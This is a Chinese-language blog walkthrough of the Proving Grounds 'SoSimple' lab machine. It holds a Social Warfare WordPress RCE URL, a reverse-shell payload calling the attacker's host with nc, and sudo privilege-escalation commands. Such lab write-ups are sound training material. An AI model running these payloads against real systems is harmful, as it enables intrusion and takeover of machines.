Proving Grounds Play : SoSimple Walkthrough
Proving Grounds Play : SoSimple Walkthrough
Foothole (立足點 ) :
- 80 網站掃描後發現 WordPress,之後用 wpscan 串 API 發現套件 Social Warfare 漏洞
- 直接利用漏洞建立 Rever Shell 獲得進入點
PE ( 提權 ) :
- 標準 Linux 爛梗,切換使用者 max 後,sudo -l 發現可以再切換使用者為 steven
- sudo -l 發現 steven 可以sudo 以 root 身分執行 /opt/tools/server-health.sh
- 系統上找不到該檔案,自行建立並寫入呼叫 bash 後成功提權為 root
注意事項 :
- 切換使用者是 PE 標準爛梗
掃 Port,└─$ rustscan -a 192.168.182.78 --scripts none --ulimit 5000 | tee rustscan
snmp check,└─$ sudo nmap -sU -p 161 192.168.182.78 | tee snmp
nmap,└─$ sudo nmap -sCV -A -p 22,80 192.168.182.78 | tee nmap
whatweb
└─$ searchsploit Apache 2.4.41
80 / 好機車的首頁
80 /robots.txt
HTTP Header
gobuster,└─$ gobuster -w ./dirfuzzing.txt dir -u http://192.168.182.78 -c -t 150 -x txt,pdf,git,php | tee gobuster
80 /wordpress
快速掃描 plug-in,└─$ curl -s -X GET 'http://192.168.182.78/wordpress' | grep plugins | awk '{print $2}' | awk '{print $6}' FS='/' | sort -u
wpscan 簡單列舉,└─$ wpscan --url http://192.168.182.78/wordpress --enumerate u
找到兩個使用者 admin、max
wpscan 帶 API 進階 ,wpscan --url http://192.168.182.78/wordpress -e vp --plugins-detection mixed --api-token <API_KEY>
找到的 Plug-in : simple-cart-solution、social-warfare
看到這個就瞬間 &^$(#*#($.....
| [!] Title: Social Warfare <= 3.5.2 - Unauthenticated Remote Code Execution (RCE)
https://wpscan.com/vulnerability/7b412469-cc03-4899-b397-38580ced5618
直接給 PoC,編輯符合靶機的 URL : http://192.168.182.78/wordpress/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://192.168.45.241/pgplay/78/payload.txt
執行 PoC 後有來抓 payload,但沒有顯示
將 payload 從 "<pre>system('cat /etc/passwd')</pre>" 改成 <pre>system('cat /etc/passwd')</pre>
就出來了
內容直接改建立 Reverse Shell 的內容,<pre>system('rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.45.241 80 >/tmp/f')</pre>
http://192.168.182.78/wordpress/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://192.168.45.241/pgplay/78/payload.txt
進來了
在 /home/max 目錄下發現一個 personal.txt 內容看來是個 base64
直接 base64 decode,內容是 "Hahahahaha, it's not that easy !!!"
在 .ssh 底下發現 Private Key
使用 Private Key 改登入 max
sudo -l 發現可以用 steven 的身分執行 /usr/sbin/service
sudo -u steven /usr/sbin/service ../../../bin/bash,再切換成 steven 身分
sudo -l 發現可以執行 (root) NOPASSWD: /opt/tools/server-health.sh
自行建立 /tools/server-health.sh 檔案
直接在檔案內寫一行執行 bash,/bin/bash
執行 sudo -u root /opt/tools/server-health.sh 成功 root
留言
張貼留言